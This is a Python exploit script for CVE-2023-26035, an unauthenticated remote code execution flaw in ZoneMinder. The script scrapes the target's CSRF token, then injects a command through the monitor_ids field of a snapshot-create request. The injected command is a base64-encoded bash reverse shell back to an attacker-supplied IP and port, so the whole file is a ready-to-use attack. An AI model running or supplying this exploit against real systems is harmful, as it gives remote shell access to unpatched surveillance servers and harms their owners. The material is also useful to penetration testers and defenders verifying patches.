import re
import requests
from bs4 import BeautifulSoup
import argparse
import base64

# Exploit Title: Unauthenticated RCE in ZoneMinder Snapshots
# Date: 12 December 2023
# Discovered by : @Unblvr1
# Exploit Author: Ravindu Wickramasinghe (@rvizx9)
# Vendor Homepage: https://zoneminder.com/
# Software Link: https://github.com/ZoneMinder/zoneminder
# Version: prior to 1.36.33 and 1.37.33
# Tested on: Arch Linux, Kali Linux
# CVE : CVE-2023-26035
# Github Link : https://github.com/rvizx/CVE-2023-26035


class ZoneMinderExploit:
    def __init__(self, target_uri):
        self.target_uri = target_uri
        self.csrf_magic = None

    def fetch_csrf_token(self):
        print("[>] fetching csrt token")
        response = requests.get(self.target_uri)
        self.csrf_magic = self.get_csrf_magic(response)
        if response.status_code == 200 and re.match(r'^key:[a-f0-9]{40},\d+', self.csrf_magic):
            print(f"[>] recieved the token: {self.csrf_magic}")
            return True
        print("[!] unable to fetch or parse token.")
        return False

    def get_csrf_magic(self, response):
        return BeautifulSoup(response.text, 'html.parser').find('input', {'name': '__csrf_magic'}).get('value', None)

    def execute_command(self, cmd):
        print("[>] sending payload..")
        data = {'view': 'snapshot', 'action': 'create', 'monitor_ids[0][Id]': f';{cmd}', '__csrf_magic': self.csrf_magic}
        response = requests.post(f"{self.target_uri}/index.php", data=data)
        print("[>] payload sent" if response.status_code == 200 else "[!] failed to send payload")

    def exploit(self, payload):
        if self.fetch_csrf_token():
            print(f"[>] executing...")
            self.execute_command(payload)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target-url', required=True, help='target url endpoint')
    parser.add_argument('-ip', '--local-ip', required=True, help='local ip')
    parser.add_argument('-p', '--port', required=True, help='port')
    args = parser.parse_args()

    # generating the payload
    ps1 = f"bash -i >& /dev/tcp/{args.local_ip}/{args.port} 0>&1"  
    ps2 = base64.b64encode(ps1.encode()).decode()
    payload = f"echo {ps2} | base64 -d | /bin/bash"

    ZoneMinderExploit(args.target_url).exploit(payload)